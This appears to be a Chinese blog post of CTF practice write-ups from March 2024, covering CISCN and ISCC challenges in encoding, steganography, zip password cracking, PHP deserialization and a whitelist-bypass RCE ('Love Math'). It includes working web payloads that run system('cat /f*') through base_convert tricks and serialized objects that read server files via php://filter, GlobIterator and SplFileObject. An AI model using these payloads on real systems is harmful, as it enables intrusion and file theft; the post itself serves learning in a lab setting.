2024.03刷题

2024.03刷题

2024.03 Week2

1. [CISCN 2023 华北] ez_date

考察点:PHP反序列化、正则匹配、弱比较

题目源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); 

分析:

(1)wakeup方法首先禁用了数组,所以不能给成员变量a和b赋值数组,需要使用其他方法绕过下面的md5和sha1。

(2)因为比较变量使用的是弱比较(!==),则我们可以给a、b赋值同值不同类,例如a=1、b='1',二者md5值和sha1值相同,可以通过检查。

(3)变量content接受经过date日期格式化后的变量file。

对于date()方法:

  • 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
  • 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出

(4)uniqid()方法会生成一个唯一的文件名,并与后缀“.txt”拼接成变量uuid。

(5)file_put_contents()方法会将content的内容写入uuid表示的文本文档中。对文本文档的内容进行正则匹配,去除内容中的空格和换行符,赋值给变量打他。

(6)显示变量data的内容。

综上,我们需要绕过检测,为变量file赋值一个不会被date方法格式化的flag路径,读取到flag后,借由变量data显示出来。

payload:

<?php
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}
$a=new date();
//同值不同类,通过三个检测
$a->a=1;
$a->b='1';
//此处file的内容在经过data()方法格式化后显示为/flag
$a->file="/f\l\a\g";
echo base64_encode(serialize($a));

针对上述正则表达式的详解:

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
  • 开头的“/”和i前的“\”表示正则表达式语法的开始和结束
  • (\s)* :匹配零个或多个空白字符(空格、制表符等)
  • (\n)+ :匹配一个或多个换行符
  • (\s)* :再次匹配零个或多个空白字符
  • i :修饰符,表示不区分大小写

正则表达式会将上述空白字符和换行符都替换为空字符串。

2. [CISCN 2023 初赛]Sign_in_passwd

考察点:自定义字符映射表的base编码

打开文件得到密文:

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

可以在第二行编码中看到url编码,尝试解码后发现其包含A-Z、a-z和0-9,猜测为自定义秘钥。

第一行出现“=”,猜测为自定义base编码,在线工具或脚本尝试解码:

url解码:
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

传入编码和密钥解码:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

脚本如下:

import base64
str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"
new  = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF"
inti = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(new,inti))))

分析:

  • str1代表base64编码

  • new代表新的字符映射表,代替原有的base64映射表

  • inti代表原始base64的映射表

  • str.maketrans() 函数用于生成字符映射表,它接受两个参数:两个长度相同的字符串,表示要进行映射的字符与其对应的目标字符。这个函数返回一个映射表,可以被传递给 str.translate() 函数

  • str.translate() 函数接受一个映射表作为参数,并对字符串进行字符替换或删除操作

  • 最后,根据新的映射表解码base64

3. [ISCC] 美人计

考察点:文件隐藏、AES和DES编码

给到一张图片和一个word文档。

grhe4q4h6eta

微信截图_20240310173656

扫描二维码发现一段编码:

U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=

同时010分析图片获得以下信息:

微信截图_20240310173741

编码方式为AES,秘钥是ISCC2021或ISCC2020,编码即为二维码信息。分别尝试解码之后发现错误。

题目提示:“美人说的话里有解题提示,但是美人的话不能全信。”

意思是编码方式、秘钥和编码都有可能是不对的,尝试在虚拟机中foremost分离两个文件,查看是否有额外信息。

在word文档中分离出另一张二维码,扫描后有一段新的编码:

微信截图_20240310174117

U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE

AES既然是错误的,那么就尝试DES,并且尝试两种秘钥,最终发现秘钥ISCC2021是正确的,得到flag。

微信截图_20240310174247

4. [ISCC] 我的折扣是多少

考察点:Unicode和base系列编码、音频隐写

压缩包给到三个文件,音频、可执行文件和一个压缩包。

微信截图_20240310180038

点击give.exe,转瞬即逝,可以截图出来一段信息:

微信截图_20240310174924

猜测为me压缩包的第一段密码,后尝试010分析三个文件,在me压缩包的分析中找到第二段密码:

微信截图_20240310180206

第一个为Unicode编码,第二个为base64编码,分别解码并拼接密码:

krwgcc666

解开me压缩包之后得到一段base编码,解码:

微信截图_20240310180342

暂时不知道作用,先分析音频文件,使用音频软件打开没有特殊的地方。

怀疑音频文件中藏有其他文件,正好利用上步解出的密码,使用工具MP3Stego得到一个文件,打开后得到一段base编码,解码得到flag。

微信截图_20240310180716

ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}

微信截图_20240310180747

2024.03 Week3

1.[CISCN 2019初赛]Love Math

考察点:PHP、RCE、WAF绕过

题目源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

代码分析:

  • get传入变量c,变量c非空后进入else代码块
  • 将变量c的内容赋值给content,if判断content的长度是否大于等于80,是则终止程序,否则继续进行
  • 定义了一个黑名单,并通过for循环对content的内容进行正则匹配,如果存在黑名单上的元素,终止程序
  • 定义数学函数白名单,表示可用的函数
  • 使用正则匹配将变量content的内容中出现的函数给到变量used_funcs,同时使用for循环检查used_funcs中的函数是否都是白名单中的函数,否则终止程序
  • 使用eval将变量content的内容当做php命令执行

本题需要使用白名单中的函数做进制转换,或将白名单中的字符串作为变量名使用,构造出各种命令执行函数来执行获得flag的命令

介绍本题所用的php特性:

(1)动态函数

php可以吧函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数。

//例
<?php
function sayHello(){
    echo "Hello";
}
$a="sayHello";
$a();    //调用上述函数,输出Hello
?>

(2)getallheaders方法

用于获取全部HTTP请求头信息,返回当前请求所有头信息的数组,可用[]或{}(php7.4之前)访问到具体的请求头信息。

(3)$_GET利用变量间接调用函数的方法

$_GET是php中一个特殊的超全局数组,用于获取通过URL参数传递的信息。它包含了所有通过GET方法传递的参数及其值。

通过 ($_GET){参数}间接调用函数,如果参数的值是某个函数名,那么这个表达式等同于直接调用该函数。

(4)base_convert()方法

该函数在任意进制之间转换数字。

base_convert(number,frombase,tobase)
参数 描述
number 必需。原始数字。
frombase 必需。数字原来的进制
tobase 必需。要转换到的进制

思路一

由上,通过$_GET间接调用函数的方式,配合base_convert方法对进制进行转换,将一段数字转为指定的函数。

payload:

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /f*

分析:

  • bsae_convert(37907361743,10,36)将数字从十进制转为三十六进制,由于三十六进制包含所有小写字母,所以可以构造任意php函数,此处我们构造的是“hex2bin“
  • hex2bin方法的作用是把十六进制字符串转为ASCII字符,而dechex函数可以将十进制数转为十六进制字符串
dechex(1598506324) ---> 5f474554
base_convert(37907361743,10,36) ---> hex2bin
hex2bin("5f474554") --->  _GET
  • ($$pi){pi}代表($_GET){pi},($$pi){abs}代表($_GET){abs},后续pi和abs传入的有参数,分别为system和cat /f*,两者组合成system("cat /f*"),用来获取flag

思路二

因为源码中给出了传参c字符长度的限制,使用思路一很容易超限,该思路使用访问请求头信息配合bp抓包修改头部信息的方式来获取flag。

payload:

/?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

分析:

  • 将base_convert函数名赋值给变量pi
  • $pi(696468,10,36)间接调用函数,将十进制数696468转为三十六进制字符串,此处转为“exec”命令执行函数
  • $pi(8768397090111664438,10,30)此处获得方法“getallheader”
  • 方法后加“{1}”是取到请求信息数组中键为1的信息,可在bp中自定义,信息修改为访问flag文件的命令

微信截图_20240313183027

微信截图_20240315161644

2. [ISCC]海市蜃楼

考察点:文件格式、信息搜集

题目给到一个压缩包,压缩包中有一个无法正常打开的word文档。

010分析文档发现文件头为压缩文件。

微信截图_20240315200621

修改后缀之后发现一系列文档。

微信截图_20240315200632

简单查询,在word/ducument.html文件中发现flag。

微信截图_20240315200646

flag:   ISCC{zheshishui}

3. [ISCC] 小明的表情包

考察点:古典编码、压缩包密码爆破、脚本编写

题目信息:

放假期间小红被亲戚叫去帮店里帮忙,店里忙极了导致小红没有时间写代码。小红苦恼极了,她突然想起来小明有一张非常适合描述她此时心情的表情包。于是,小红让小明把表情包分享给她。小明说如果你记得我的出生的日月年,我就交给你。小明的生日年份隐藏在这串凯撒密码“AVARGRRA AVARGL AVAR”中,你能帮小红得到小明的表情包吗?

给到一段密码,是生日年份的加密,尝试凯撒枚举解密,在偏移值为13时解出有效信息:

微信截图_20240315201442

生日年份为1999年,压缩包密码的格式为“日月年”,题目没有更多提示信息,需要通过脚本生成字典对压缩包进行爆破:

# 生成日期的所有可能情况
dates = []
for month in range(1, 13):
    for day in range(1, 32):
        #4、6、9、11为30天,排除31天
        if month in [4, 6, 9, 11] and day > 30:
            continue
        #1999为平年,排除2月29日
        elif month == 2 and day > 28:
            continue
        #以日月年的格式添加到列表
        else:
            date_str = f"{day:02d}{month:02d}1999\n"
            dates.append(date_str)

# 将生成的日期写入文本文件
with open("dates.txt", "w") as file:
    file.writelines(dates)

获得一个文本文档(爆破字典):

微信截图_20240315201756

尝试爆破,得到密码为07071999。

微信截图_20240315201837

打开压缩包发现一张损坏的jpg图片。

微信截图_20240315202024

010分析发现缺失jpg文件头,补充完整后图片正常显示,获得flag。

微信截图_20240315202041

小明的表情包

flag: ISCC{Nyuuiitt}

4. [ISCC]隐秘的信息

考察点:LSB隐写、编码转换

题目信息:

乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?

给出一段编码,看起来像base系列,解密为base64编码。

base64解密:
easy_to_find_the_flag

猜测为题目附件的密码,获得一张图片。whereistheflag

尝试010分析、kali binwalk分离,无明显信息,后尝试LSB隐写,放入工具Stegsolve进行数据分析,发现一段编码。

微信截图_20240315203241

疑似为十六进制编码,尝试转换:

微信截图_20240315203351

二进制转字符串,同时去掉开头的所有数字1,可以获得flag。

微信截图_20240315203451

flag:  ISCC{DWodIH2o1ojYT90DEIzZ}

5. [ISCC] findme

考察点:PHP反序列化、 GlobIterator 和 **SplFileObject **类的使用

题目给出一个网页,在源代码中发现提示:**unser.php **。

微信截图_20240317231606

访问有php代码:

 <?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data); 

对类a分析:

  • 定义了五个变量,未初始化

  • 魔术方法__destruct(),在对象被销毁时执行。首先执行类中定义的方法Givemeanew(),将变量u4定义为以un0为类名、un1为参数的类的实例

  • 后进入选择结构,判断un0变量不为空且un2为空,执行方法yigei(),输出变量un4,否则执行方法giao(),命令执行un2

  • 魔术方法__wakeup(),当反序列化恢复成对象时执行。会包含由变量un2与“hint.php”拼接后的文件,显示内容

  • 对POST传参变量data传值,并进行反序列化

解题思路:

(1)首先尝试查询提示文件,获得更多有用信息,这一步只需要给变量un2传入值,其他变量不需要。尝试直接序列化,无回显内容,后使用伪协议php://filter成功读取内容

<?php
class a{
    public $un0;
    public $un1;
    //与下面方法中的hint.php拼接后为完整的伪协议字符串
    public $un2="php://filter/read=convert.base64-encode/resource=";
    public $un3;
    public $un4;
} 
$a1=new a();
echo serialize($a1);
?>
回显结果:
PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7
    
base64解码:
?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

(2)关于php读取文件,下面需要介绍遍历文件类和文件读取类:

  • 遍历文件类
  1. DirectoryIterator
  2. FilesystemIteraor
  3. GlobIterator

第一个和第二个类基于echo触发_toString方法查找指定文件名;第三个基于glob()函数,使用glob://协议读取

此处使用GlobIterator遍历以字母f开头的文本文档,该类支持模糊搜索,所以可用“f*.txt”。

<?php
class a{
    public $un0="GlobIterator";
    public $un1="glob://f*.txt";
    public $un2;
    public $un3="unserialize";
    public $un4;
} 
$a1=new a();
echo serialize($a1);
?>
回显结果:
Your output: flll44ggg-secret.txt

设置un0非空,un2空,通过选择结构,执行Givemeanew()方法,将查找的结果赋值给un4,后设置un3等于unserialize,调用yigei()方法,将un4打印出来。

  • 文件读取类 SplFileObject

通过类名(文件名)获取到文件内容。

<?php
class a{
    public $un0="SplFileObject";
    public $un1="flll44ggg-secret.txt";
    public $un2;
    public $un3="unserialize";
    public $un4;
} 
$a1=new a();
echo serialize($a1);
?>
回显结果:
Your output: flag{W0w!_You_r3a1_KN0~_Unse2!!!}

得到flag。

2024.03 Week4

1. [ISCC] 检查一下

考察点:binwalk使用、二维码原理、Python脚本编写

给出一张图片:

221B

010分析无明显特征,拖入kali使用binwalk命令发现有Zlib文件,分离:

微信截图_20240325163502

可以看到一个包含01信息的文本文档,不知道什么意思,百度得知:长度为841,即29×29,很容易联想到是一个二维码,使用0和1代表像素点的颜色。

可用Python的PIL库进行生成图片,脚本如下:

from PIL import Image
MAX = 29    #宽高 841个01字符串,所以宽和高是29
pic = Image.new("RGB",(MAX, MAX))
#若是(255,255,255)、(0,0,0)需要先转换01
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
#遍历图像的每一个像素点,根据0或者1填充黑或白
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("./flag.png")

结果得到一张二维码,扫描可得flag。

ISCC{Png_Chunk_streams_ISCC}

2.[ISCC] Retrieve the passcode

考察点:摩斯密码、scatter散点图、Python脚本绘制散点图

给出一个加密压缩包和一个文档,密码暂时不知道,文档里有一些数据:

1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1

题目提示一个单词:“scatter”,散射,散点图,则上述数据可能为三维散点图的数据,可导入excel表格生成散点图或使用Python脚本实现,此处使用脚本,代码如下:

import matplotlib.pyplot as plt

# z轴数据都为1,暂时忽略绘制出二维散点图
data = "1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1"

# 将字符串中的数据解析为二维列表
points = [list(map(float, point.split(":"))) for point in data.split(";")]

# 提取 x 坐标和 y 坐标的数据
x = [point[0] for point in points]
y = [point[1] for point in points]

# 提取散点大小数据
sizes = [point[2]*100 for point in points]  # 这里将第三列数据乘以 100 以便更直观地展示

plt.scatter(x, y, s=sizes, alpha=0.5)  # 画散点图
plt.show()

图片展示:

微信截图_20240325170243

可以看出是“365728”,猜测为压缩包的密码,尝试:

微信截图_20240325170538

得到两段摩斯电码,分别解码并转小写尝试,试出第二段为flag。

1.CONGRATULATIONTHEFLAGIS
2.CHALLENGEISCCTWOZEROTWOONE

ISCC{challengeiscctwozerotwoone}

3.[ISCC] base小偷

题目提示:被凯撒小猫偷走的等号1/3

给出一段密文:

trefy2k2ov2lig2gqd2eqakoxjqcw4lztnfli

题目提示凯撒,凯撒枚举:

trefy2k2ov2lig2gqd2eqakoxjqcw4lztnfli
sqdex2j2nu2khf2fpc2dpzjnwipbv4kysmekh
rpcdw2i2mt2jge2eob2coyimvhoau4jxrldjg
qobcv2h2ls2ifd2dna2bnxhlugnzt4iwqkcif
pnabu2g2kr2hec2cmz2amwgktfmys4hvpjbhe
omzat2f2jq2gdb2bly2zlvfjselxr4guoiagd
nlyzs2e2ip2fca2akx2ykueirdkwq4ftnhzfc
mkxyr2d2ho2ebz2zjw2xjtdhqcjvp4esmgyeb
ljwxq2c2gn2day2yiv2wiscgpbiuo4drlfxda
kivwp2b2fm2czx2xhu2vhrbfoahtn4cqkewcz
jhuvo2a2el2byw2wgt2ugqaenzgsm4bpjdvby
igtun2z2dk2axv2vfs2tfpzdmyfrl4aoicuax
hfstm2y2cj2zwu2uer2seoyclxeqk4znhbtzw
gersl2x2bi2yvt2tdq2rdnxbkwdpj4ymgasyv
fdqrk2w2ah2xus2scp2qcmwajvcoi4xlfzrxu
ecpqj2v2zg2wtr2rbo2pblvziubnh4wkeyqwt
dbopi2u2yf2vsq2qan2oakuyhtamg4vjdxpvs
canoh2t2xe2urp2pzm2nzjtxgszlf4uicwour
bzmng2s2wd2tqo2oyl2myiswfryke4thbvntq
aylmf2r2vc2spn2nxk2lxhrveqxjd4sgaumsp
zxkle2q2ub2rom2mwj2kwgqudpwic4rfztlro
ywjkd2p2ta2qnl2lvi2jvfptcovhb4qeyskqn
xvijc2o2sz2pmk2kuh2iueosbnuga4pdxrjpm
wuhib2n2ry2olj2jtg2htdnramtfz4ocwqiol
vtgha2m2qx2nki2isf2gscmqzlsey4nbvphnk
usfgz2l2pw2mjh2hre2frblpykrdx4mauogmj

解出来很像base系列编码,又base64编码必为24的倍数,base32编码必为40的倍数。每个结果都为37位,取最接近的base32编码,题目提示等号被偷走了,根据base32编码按5bit切分的二进制数据必须是40bit的倍数,不足补=,所以我们在每段编码后补三个“=”,Python脚本实现:

import base64
file1=open("output.txt",'w',encoding="utf-8")
# 将上述枚举结果存入input.txt  读取
with open("input.txt","r") as f:
    # 读取每一行
    lines = f.readlines()
    # 每一行的结尾回车替换为空格,加上===,并全转大写,写入output.txt
    for line in lines:
        line_n = line.replace("\n","")
        line_n += "==="+"\n"
        line_n = line_n.upper()
        file1.write(line_n)
file1.close()
# 对output.txt每段进行base32解码
with open("output.txt","r") as f1:
    lst = f1.read().splitlines()
    i=0
    while i<len(lst):
        print(base64.b32decode(lst[i]))
        i+=1

得到的结果中有一段类似base64编码:

微信截图_20240325173436

解码得到flag。

flag{tqq.tqq@jjb}

4.[ISCC] 海市蜃楼-2

题目给到一张图片,提示海市蜃楼,由于这道题为海市蜃楼其二,因此要与其一联系起来。

010分析发现图片中藏有压缩包,kali binwalk分离出来,为加密压缩包,密码暂时未知。

微信截图_20240325174819

到这里没有了头绪,看了其他人的wp才知道信息需要回到海市蜃楼-1中找。

在海市蜃楼-1中word转压缩包的内容中,在docProps文件夹中发现三个xml文件,前两个可以正常在网页中显示内容,第三个不行,且第三个文件的大小异于其他两个文件,猜测其不是xml格式的文件,010分析发现为jpg文件,更改后缀查看。

true

结合上题的wp:ISCC{zheshishui},推测人名为压缩包密码,输入zhongnanshan,打开压缩包获得二维码,扫描得到一段base编码。

ZWFzeQ==  base64解码  easy

很明显这不是flag,猜测二维码有问题,binwalk分析出藏有加密压缩包,foremost分离,easy或许为密码,打开文件有flag。

微信截图_20240325175644

ISCC{ZhenIXiangSDACbaIC}

5.[ISCC] 李华的红包

给出一张图片:

hongbao2

010分析发现文件结尾有编码:

微信截图_20240325180658

敲击码解密:

微信截图_20240325180724

可知flag:

flag{ISCCBFS}
posted @ 2024-04-04 11:52  故人叹、  阅读(431)  评论(0)    收藏  举报